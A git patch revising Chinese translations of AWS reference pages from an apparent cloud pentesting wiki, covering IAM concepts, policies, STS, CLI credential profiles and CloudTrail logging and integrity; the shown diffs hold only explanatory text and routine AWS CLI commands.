From c979a624dfe0bf8903f1d3acca7e1ebf4eadf983 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 10 Feb 2025 23:48:10 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA --- .../aws-basic-information/README.md | 106 +++++----- .../aws-cloudtrail-enum.md | 42 ++-- .../aws-cloudwatch-enum.md | 52 ++--- .../az-cloud-shell-persistence.md | 12 +- .../az-blob-storage-post-exploitation.md | 8 +- .../az-cosmosDB-post-exploitation.md | 87 ++------- .../az-file-share-post-exploitation.md | 6 +- .../az-logic-apps-post-exploitation.md | 77 ++------ .../az-mysql-post-exploitation.md | 67 ++----- .../az-postgresql-post-exploitation.md | 61 ++---- .../az-sql-post-exploitation.md | 16 +- .../az-cosmosDB-privesc.md | 25 +-- .../az-functions-app-privesc.md | 87 ++++----- .../az-key-vault-privesc.md | 2 +- .../az-logic-apps-privesc.md | 24 +-- .../az-mysql-privesc.md | 33 +--- .../az-postgresql-privesc.md | 32 +--- .../az-servicebus-privesc.md | 6 +- .../az-privilege-escalation/az-sql-privesc.md | 22 +-- .../az-storage-privesc.md | 34 ++-- .../azure-security/az-services/az-azuread.md | 181 ++++++++---------- .../az-services/az-cloud-shell.md | 24 +-- .../azure-security/az-services/az-cosmosDB.md | 86 +++------ .../az-services/az-file-shares.md | 18 +- .../az-services/az-function-apps.md | 57 +++--- .../az-services/az-logic-apps.md | 78 ++++---- .../azure-security/az-services/az-mysql.md | 44 ++--- .../az-services/az-postgresql.md | 47 ++--- .../az-services/az-queue-enum.md | 12 +- .../az-services/az-servicebus-enum.md | 30 ++- .../azure-security/az-services/vms/README.md | 34 ++-- .../az-services/vms/az-azure-network.md | 35 ++-- .../kubernetes-securitycontext-s.md | 33 ++-- 33 files changed, 594 insertions(+), 884 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 7affe839e..67990e75c 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -10,7 +10,7 @@ 在 AWS 中有一个 **根账户,** 它是您 **组织中所有账户的父容器**。然而,您不需要使用该账户来部署资源,您可以创建 **其他账户以将不同的 AWS** 基础设施分开。 -从 **安全** 的角度来看,这非常有趣,因为 **一个账户无法访问其他账户的资源**(除非专门创建了桥接),这样您可以在部署之间创建边界。 +从 **安全** 的角度来看,这非常有趣,因为 **一个账户无法访问其他账户的资源**(除非专门创建了桥接),因此您可以在部署之间创建边界。 因此,在一个组织中有 **两种类型的账户**(我们谈论的是 AWS 账户,而不是用户账户):一个被指定为管理账户的单一账户,以及一个或多个成员账户。 @@ -22,12 +22,12 @@ - 管理邀请 - 对组织内的实体(根、OU 或账户)应用政策 - 启用与支持的 AWS 服务的集成,以在组织中的所有账户之间提供服务功能。 -- 可以使用用于创建此根账户/组织的电子邮件和密码以根用户身份登录。 +- 可以使用创建此根账户/组织时使用的电子邮件和密码作为根用户登录。 -管理账户具有 **付款账户的责任**,并负责支付所有由成员账户产生的费用。您无法更改组织的管理账户。 +管理账户具有 **付款账户的责任**,并负责支付所有成员账户产生的费用。您无法更改组织的管理账户。 - **成员账户** 组成了组织中所有其他账户。一个账户一次只能是一个组织的成员。您可以将政策附加到一个账户,以仅对该账户应用控制。 -- 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**,一般来说,他们将无法管理账单(但可能会被授予访问权限)。 +- 成员账户 **必须使用有效的电子邮件地址**,并可以有一个 **名称**,通常他们将无法管理账单(但可能会被授予访问权限)。 ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` @@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -**服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反,SCP 指定组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到组织根或 OU 时,**SCP 限制成员账户中实体的权限**。 +**服务控制策略 (SCP)** 是一种策略,指定用户和角色在受 SCP 影响的账户中可以使用的服务和操作。SCP **类似于 IAM** 权限策略,但它们 **不授予任何权限**。相反,SCP 指定组织、组织单位 (OU) 或账户的 **最大权限**。当您将 SCP 附加到您的组织根或 OU 时,**SCP 限制成员账户中实体的权限**。 这是 **即使是根用户也无法被阻止** 执行某些操作的唯一方法。例如,它可以用于阻止用户禁用 CloudTrail 或删除备份。\ 绕过此限制的唯一方法是同时妥协配置 SCP 的 **主账户**(主账户无法被阻止)。 @@ -69,7 +69,7 @@ SCP 示例: arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -注意,AWS 中有 4 个分区,但只有 3 种调用它们的方法: +注意,AWS中有4个分区,但只有3种调用方式: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -78,51 +78,51 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ## IAM - 身份和访问管理 -IAM 是允许您管理 **身份验证**、**授权**和 **访问控制** 的服务。 +IAM是允许您管理**身份验证**、**授权**和**访问控制**的服务。 - **身份验证** - 定义身份和验证该身份的过程。此过程可以细分为:识别和验证。 - **授权** - 确定身份在系统中经过身份验证后可以访问的内容。 - **访问控制** - 授予对安全资源访问的方式和过程。 -IAM 可以通过其管理、控制和治理身份对您 AWS 账户内资源的身份验证、授权和访问控制机制的能力来定义。 +IAM可以通过其管理、控制和治理身份对您AWS账户内资源的身份验证、授权和访问控制机制的能力来定义。 -### [AWS 账户根用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWS账户根用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -当您首次创建 Amazon Web Services (AWS) 账户时,您将拥有一个具有 **完全访问所有** AWS 服务和资源的单一登录身份。这是 AWS 账户的 _**根用户**_,通过使用 **您用于创建账户的电子邮件地址和密码** 登录访问。 +当您首次创建Amazon Web Services (AWS)账户时,您将开始使用一个具有**对账户中所有**AWS服务和资源的**完全访问权限**的单一登录身份。这是AWS账户的_**根用户**_,通过使用**您用于创建账户的电子邮件地址和密码**进行登录。 -请注意,新创建的 **管理员用户** 的 **权限将少于根用户**。 +请注意,新创建的**管理员用户**将具有**比根用户更少的权限**。 从安全的角度来看,建议创建其他用户并避免使用此用户。 -### [IAM 用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAM用户](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM _用户_ 是您在 AWS 中创建的实体,用于 **代表使用它与 AWS 交互的人员或应用程序**。AWS 中的用户由名称和凭据(密码和最多两个访问密钥)组成。 +IAM _用户_是您在AWS中创建的实体,用于**代表使用它与AWS交互的人员或应用程序**。AWS中的用户由名称和凭据(密码和最多两个访问密钥)组成。 -当您创建 IAM 用户时,您通过将其设置为具有适当权限策略的 **用户组的成员**(推荐)或 **直接将策略附加** 到用户来授予其 **权限**。 +当您创建IAM用户时,您通过将其设置为具有适当权限策略的**用户组的成员**(推荐)或**直接将策略附加**到用户来授予其**权限**。 -用户可以启用 **MFA 登录** 控制台。启用 MFA 的用户的 API 令牌不受 MFA 保护。如果您想要 **使用 MFA 限制用户的 API 密钥访问**,您需要在策略中指明为了执行某些操作需要 MFA(示例 [**这里**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 +用户可以启用**MFA登录**控制台。启用MFA的用户的API令牌不受MFA保护。如果您想要**使用MFA限制用户的API密钥访问**,您需要在策略中指明为了执行某些操作需要MFA(示例[**在这里**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))。 #### CLI -- **访问密钥 ID**:20 个随机大写字母数字字符,如 AKHDNAPO86BSHKDIRYT -- **秘密访问密钥 ID**:40 个随机大小写字符:S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU(无法检索丢失的秘密访问密钥 ID)。 +- **访问密钥ID**:20个随机的大写字母数字字符,如AKHDNAPO86BSHKDIRYT +- **秘密访问密钥ID**:40个随机的大小写字符:S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU(无法检索丢失的秘密访问密钥ID)。 -每当您需要 **更改访问密钥** 时,您应遵循以下过程:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +每当您需要**更改访问密钥**时,您应遵循以下过程:\ +_创建一个新的访问密钥 -> 将新密钥应用于系统/应用程序 -> 将原始密钥标记为非活动 -> 测试并验证新访问密钥是否有效 -> 删除旧访问密钥_ ### MFA - 多因素身份验证 -它用于 **创建额外的身份验证因素**,以补充您现有的方法,例如密码,从而创建多因素身份验证级别。\ -您可以使用 **免费的虚拟应用程序或物理设备**。您可以使用 Google 身份验证等应用程序免费激活 AWS 中的 MFA。 +它用于**创建额外的身份验证因素**,以补充您现有的方法,例如密码,从而创建多因素身份验证级别。\ +您可以使用**免费的虚拟应用程序或物理设备**。您可以使用像Google身份验证器这样的应用程序免费激活AWS中的MFA。 -带有 MFA 条件的策略可以附加到以下内容: +带有MFA条件的策略可以附加到以下内容: -- IAM 用户或组 -- 资源,例如 Amazon S3 存储桶、Amazon SQS 队列或 Amazon SNS 主题 -- 可以被用户假设的 IAM 角色的信任策略 +- IAM用户或组 +- 资源,例如Amazon S3桶、Amazon SQS队列或Amazon SNS主题 +- 可以被用户假设的IAM角色的信任策略 -如果您想要 **通过 CLI 访问** 检查 **MFA** 的资源,您需要调用 **`GetSessionToken`**。这将为您提供一个包含 MFA 信息的令牌。\ -请注意 **`AssumeRole` 凭据不包含此信息**。 +如果您想要**通过CLI访问**一个**检查MFA**的资源,您需要调用**`GetSessionToken`**。这将为您提供一个包含MFA信息的令牌。\ +请注意,**`AssumeRole`凭据不包含此信息**。 ```bash aws sts get-session-token --serial-number --token-code ``` @@ -138,12 +138,12 @@ IAM [用户组](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) - 一个用户**组**可以**包含多个用户**,而一个**用户**可以**属于多个组**。 - **用户组不能嵌套**;它们只能包含用户,而不能包含其他用户组。 -- **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,您必须创建它并将每个新用户分配给它。 -- AWS账户中IAM资源的数量和大小是有限的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。 +- **没有默认的用户组会自动包含AWS账户中的所有用户**。如果您想要这样的用户组,必须创建它并将每个新用户分配给它。 +- AWS账户中IAM资源的数量和大小是有限制的,例如组的数量,以及用户可以成为成员的组的数量。有关更多信息,请参见[IAM和AWS STS配额](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)。 ### [IAM角色](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以假设一个角色以临时**承担特定任务的不同权限**。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。 +IAM **角色**与**用户**非常**相似**,因为它是一个**具有权限策略的身份,决定了它在AWS中可以做什么和不能做什么**。然而,角色**没有任何凭证**(密码或访问密钥)与之关联。角色的设计目的是**可以被任何需要它的人(并且有足够权限)假设**。IAM用户可以**假设角色以临时**承担特定任务的不同权限。角色可以分配给使用外部身份提供者而不是IAM登录的[**联合用户**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)。 IAM角色由**两种类型的策略**组成:**信任策略**,不能为空,定义**谁可以假设**该角色,以及**权限策略**,不能为空,定义**它可以访问什么**。 @@ -153,7 +153,7 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 ### [IAM中的临时凭证](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**临时凭证主要与IAM角色一起使用**,但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效期。 +**临时凭证主要与IAM角色一起使用**,但也有其他用途。您可以请求具有比标准IAM用户更有限权限集的临时凭证。这**防止**您**意外执行不允许的任务**。临时凭证的一个好处是它们在设定的时间段后会自动过期。您可以控制凭证的有效持续时间。 ### 策略 @@ -165,7 +165,7 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 - 客户管理策略:由您配置。您可以基于AWS管理策略创建策略(修改其中一个并创建自己的),使用策略生成器(一个帮助您授予和拒绝权限的GUI视图)或编写自己的策略。 默认情况下,访问是**被拒绝的**,如果指定了明确的角色,则将授予访问权限。\ -如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证(默认允许)使用的请求除外。 +如果**存在单个“拒绝”**,它将覆盖“允许”,但AWS账户的根安全凭证的请求(默认允许)除外。 ```javascript { "Version": "2012-10-17", //Version of the policy @@ -194,17 +194,17 @@ AWS安全令牌服务(STS)是一个网络服务,促进**临时、有限权 #### 内联策略 这种策略是**直接分配**给用户、组或角色的。因此,它们不会出现在策略列表中,因为其他任何人都可以使用它们。\ -内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您想确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时,策略中的权限不能意外附加到错误的身份。此外,当您使用AWS管理控制台删除该身份时,嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。 +内联策略在您想要**保持策略与应用于的身份之间的严格一对一关系**时非常有用。例如,您希望确保策略中的权限不会意外分配给除其预期身份以外的身份。当您使用内联策略时,策略中的权限不能意外附加到错误的身份。此外,当您使用AWS管理控制台删除该身份时,嵌入在身份中的策略也会被删除。这是因为它们是主体实体的一部分。 #### 资源桶策略 这些是可以在**资源**中定义的**策略**。**并非所有AWS资源都支持它们**。 -如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则允许它们。 +如果主体没有对它们的明确拒绝,并且资源策略授予它们访问权限,则它们被允许。 ### IAM边界 -IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户不同的权限,如果他尝试使用它们,操作将**失败**。 +IAM边界可以用来**限制用户或角色应有的权限**。这样,即使通过**不同的策略**授予用户一组不同的权限,如果他尝试使用这些权限,操作将**失败**。 边界只是附加到用户的策略,**指示用户或角色可以拥有的最大权限级别**。因此,**即使用户具有管理员访问权限**,如果边界指示他只能读取S·桶,那就是他能做的最大事情。 @@ -212,7 +212,7 @@ IAM边界可以用来**限制用户或角色应有的权限**。这样,即使 ### 会话策略 -会话策略是**在角色被假设时设置的策略**。这将像是该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。 +会话策略是**在角色被假设时设置的策略**。这将类似于该会话的**IAM边界**:这意味着会话策略不授予权限,而是**将权限限制为策略中指示的权限**(最大权限为角色所拥有的权限)。 这对于**安全措施**非常有用:当管理员要假设一个非常特权的角色时,他可以将权限限制为仅在会话策略中指示的权限,以防会话被破坏。 ```bash @@ -222,7 +222,7 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -注意,默认情况下,**AWS 可能会将会话策略添加到即将生成的会话**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中,默认情况下(使用增强认证),AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 +注意,默认情况下,**AWS 可能会为即将生成的会话添加会话策略**,这是由于其他原因。例如,在 [未认证的 Cognito 假定角色](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) 中,默认情况下(使用增强认证),AWS 将生成 **带有会话策略的会话凭证**,该策略限制会话可以访问的服务 [**为以下列表**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 因此,如果在某个时刻你遇到错误“...因为没有会话策略允许...”,而角色有权限执行该操作,那是因为 **有一个会话策略阻止了它**。 @@ -233,13 +233,13 @@ aws sts assume-role \ 要配置这种信任,生成一个 **IAM 身份提供者(SAML 或 OAuth)**,该提供者将 **信任** **其他平台**。然后,至少一个 **IAM 角色被分配(信任)给身份提供者**。如果来自受信平台的用户访问 AWS,他将以提到的角色进行访问。 -然而,通常你会希望根据第三方平台中用户的组给予 **不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的。 +然而,通常你会希望根据第三方平台中用户的 **组别给予不同的角色**。然后,多个 **IAM 角色可以信任** 第三方身份提供者,第三方平台将是允许用户假定一个角色或另一个角色的地方。
### IAM 身份中心 -AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 帐户和云应用程序的访问管理汇集在一起。 +AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访问管理(IAM)的功能,提供一个 **中央位置**,将 **用户及其对 AWS** 账户和云应用程序的访问管理汇集在一起。 登录域将类似于 `.awsapps.com`。 @@ -251,20 +251,20 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访
-在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何帐户**。 +在身份中心目录的最简单情况下,**身份中心将拥有用户和组的列表**,并能够 **为他们分配策略** 到 **组织的任何账户**。 -为了给身份中心用户/组访问一个帐户,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标帐户中创建一个 **信任身份提供者并具有指示策略的角色**。 +为了给予身份中心用户/组对账户的访问,将创建一个 **信任身份中心的 SAML 身份提供者**,并在目标账户中创建一个 **信任身份提供者并具有指示策略的角色**。 #### AwsSSOInlinePolicy -可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的帐户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。 +可以通过 **IAM 身份中心创建的角色的内联策略** 来 **授予权限**。在被授予 **AWS 身份中心内联策略** 的账户中创建的角色将具有名为 **`AwsSSOInlinePolicy`** 的内联策略中的这些权限。 -因此,即使你看到两个带有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。 +因此,即使你看到两个具有名为 **`AwsSSOInlinePolicy`** 的内联策略的角色,也 **并不意味着它们具有相同的权限**。 ### 跨账户信任和角色 -**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信) **访问他的帐户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\ -建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也可能滥用此信任。 +**用户**(信任)可以创建一个带有某些策略的跨账户角色,然后 **允许另一个用户**(受信任) **访问他的账户**,但仅 **具有新角色策略中指示的访问权限**。要创建此角色,只需创建一个新角色并选择跨账户角色。跨账户访问的角色提供两个选项。提供你拥有的 AWS 账户之间的访问,以及提供你拥有的账户与第三方 AWS 账户之间的访问。\ +建议 **指定被信任的用户,而不是放置一些通用的内容**,因为如果不这样做,其他经过身份验证的用户(如联合用户)也将能够滥用此信任。 ### AWS Simple AD @@ -280,21 +280,23 @@ AWS IAM 身份中心(AWS 单点登录的继任者)扩展了 AWS 身份和访 #### Web 联合或 OpenID 认证 -该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予访问 AWS 控制台的权限,仅授予对 AWS 内部资源的访问权限。 +该应用程序使用 AssumeRoleWithWebIdentity 创建临时凭证。然而,这并不授予对 AWS 控制台的访问,仅授予对 AWS 内部资源的访问。 ### 其他 IAM 选项 - 你可以 **设置密码策略设置**,选项如最小长度和密码要求。 -- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用等)。你可以每 **四小时** 生成一次凭证报告。 +- 你可以 **下载“凭证报告”**,其中包含有关当前凭证的信息(如用户创建时间、密码是否启用...)。你可以每 **四小时** 生成一次凭证报告。 -AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的员工和系统的权限,以 **确保最小权限**。 +AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖所有 AWS。使用 IAM,你可以指定 **谁可以访问哪些服务和资源**,以及在什么条件下。通过 IAM 策略,你管理对你的劳动力和系统的权限,以 **确保最小权限**。 ### IAM ID 前缀 -在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的键的 **IAM ID 前缀**: +在 [**此页面**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) 中,你可以找到根据其性质的 **IAM ID 前缀**: -| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| 标识符代码 | 描述 | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| ABIA | [AWS STS 服务承载令牌](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | + | ACCA | 上下文特定凭证 | | AGPA | 用户组 | | AIDA | IAM 用户 | @@ -325,7 +327,7 @@ AWS 身份和访问管理(IAM)提供 **细粒度的访问控制**,覆盖 ### CLI 认证 为了让常规用户通过 CLI 认证到 AWS,你需要拥有 **本地凭证**。默认情况下,你可以在 `~/.aws/credentials` 中 **手动** 配置它们,或通过 **运行** `aws configure`。\ -在该文件中,你可以拥有多个配置文件,如果 **未指定配置文件**,使用 **aws cli** 时,将使用该文件中名为 **`[default]`** 的配置文件。\ +在该文件中,你可以拥有多个配置文件,如果在 **aws cli** 中未指定 **配置文件**,则将使用该文件中名为 **`[default]`** 的配置文件。\ 具有多个配置文件的凭证文件示例: ``` [default] @@ -337,7 +339,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**假设这些账户中的角色**的权限,您就不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。 +如果您需要访问**不同的AWS账户**,并且您的配置文件被授予访问**在这些账户内假设角色**的权限,您不需要每次手动调用STS(`aws sts assume-role --role-arn --role-session-name sessname`)并配置凭证。 您可以使用`~/.aws/config`文件来[**指示要假设的角色**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html),然后像往常一样使用`--profile`参数(`assume-role`将以透明的方式为用户执行)。\ 配置文件示例: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 919bc9c39..e5dfb336a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源变更跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。 +AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细的 **事件日志**,包括谁在何时、从何处进行了什么操作,针对所有与 AWS 资源的交互。这提供了更改和操作的审计跟踪,有助于安全分析、合规审计和资源更改跟踪。CloudTrail 对于理解用户和资源行为、增强安全态势以及确保合规性至关重要。 每个记录的事件包含: @@ -19,17 +19,17 @@ AWS CloudTrail **记录和监控您 AWS 环境中的活动**。它捕获详细 - 请求参数: `requestParameters` - 响应元素: `responseElements` -事件每 **约 5 分钟写入一个新的日志文件,格式为 JSON**,这些日志由 CloudTrail 保存,最后,日志文件 **大约在 15 分钟后交付到 S3**。\ +事件大约每 5 分钟写入一个新的日志文件,**以 JSON 文件格式**,它们由 CloudTrail 保存,最后,日志文件在大约 15 分钟后 **交付到 S3**。\ CloudTrail 的日志可以 **跨账户和跨区域聚合。**\ CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志文件自 CloudTrail 交付给您以来是否保持不变**。它在摘要文件中创建日志的 SHA-256 哈希。每小时创建新日志的 SHA-256 哈希。\ 创建 Trail 时,事件选择器将允许您指示要记录的 Trail:管理、数据或洞察事件。 -日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权限的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。 +日志保存在 S3 存储桶中。默认情况下使用服务器端加密(SSE-S3),因此 AWS 将为有权访问的人解密内容,但为了额外的安全性,您可以使用 SSE 和 KMS 及您自己的密钥。 日志存储在 **具有此名称格式的 S3 存储桶中**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- 其中 BucketName 为: **`aws-cloudtrail-logs--`** +- 存储桶名称为: **`aws-cloudtrail-logs--`** - 示例: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** 在每个文件夹中,每个日志将具有 **遵循此格式的名称**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** @@ -59,7 +59,7 @@ CloudTrail 允许使用 **日志文件完整性,以便能够验证您的日志
-这样,您可以轻松地在所有账户的所有区域配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。 +这样,您可以轻松地在所有账户的所有区域中配置 CloudTrail,并将日志集中在一个账户中(您应该保护该账户)。 ### 日志文件检查 @@ -70,7 +70,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### 日志到 CloudWatch **CloudTrail 可以自动将日志发送到 CloudWatch,以便您可以设置警报,当执行可疑活动时提醒您。**\ -请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个 **角色** 来允许该操作。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail: +请注意,为了允许 CloudTrail 将日志发送到 CloudWatch,需要创建一个允许该操作的 **角色**。如果可能,建议使用 AWS 默认角色来执行这些操作。此角色将允许 CloudTrail: - CreateLogStream:这允许创建 CloudWatch Logs 日志流 - PutLogEvents:将 CloudTrail 日志传送到 CloudWatch Logs 日志流 @@ -83,23 +83,23 @@ CloudTrail 事件历史允许您在表格中检查已记录的日志: ### 洞察 -**CloudTrail Insights** 自动 **分析** 来自 CloudTrail 路径的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为一个洞察事件。这些事件使 **查找和响应异常 API 活动比以往任何时候都更容易**。 +**CloudTrail Insights** 自动 **分析** CloudTrail 路径中的写入管理事件,并 **提醒** 您 **异常活动**。例如,如果 `TerminateInstance` 事件的增加与既定基线不同,您将看到它作为洞察事件。这些事件使 **发现和响应异常 API 活动比以往任何时候都更容易**。 洞察存储在与 CloudTrail 日志相同的存储桶中:`BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### 安全 - -| CloudTrail 日志文件完整性 |
  • 验证日志是否被篡改(修改或删除)
  • 使用摘要文件(为每个文件创建哈希)

    • SHA-256 哈希
    • 使用 RSA 进行数字签名的 SHA-256
    • 由 Amazon 拥有的私钥
  • 创建摘要文件需要 1 小时(每小时整点完成)
| +| 控制名称 | 实施细节 | | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| CloudTrail 日志文件完整性 |
  • 验证日志是否被篡改(修改或删除)
  • 使用摘要文件(为每个文件创建哈希)

    • SHA-256 哈希
    • 使用 RSA 进行数字签名的 SHA-256
    • 私钥由 Amazon 拥有
  • 创建摘要文件需要 1 小时(每小时整点完成)
| | 防止未经授权的访问 |
  • 使用 IAM 策略和 S3 存储桶策略

    • 安全团队 —> 管理员访问
    • 审计员 —> 只读访问
  • 使用 SSE-S3/SSE-KMS 加密日志
| | 防止日志文件被删除 |
  • 使用 IAM 和存储桶策略限制删除访问
  • 配置 S3 MFA 删除
  • 通过日志文件验证进行验证
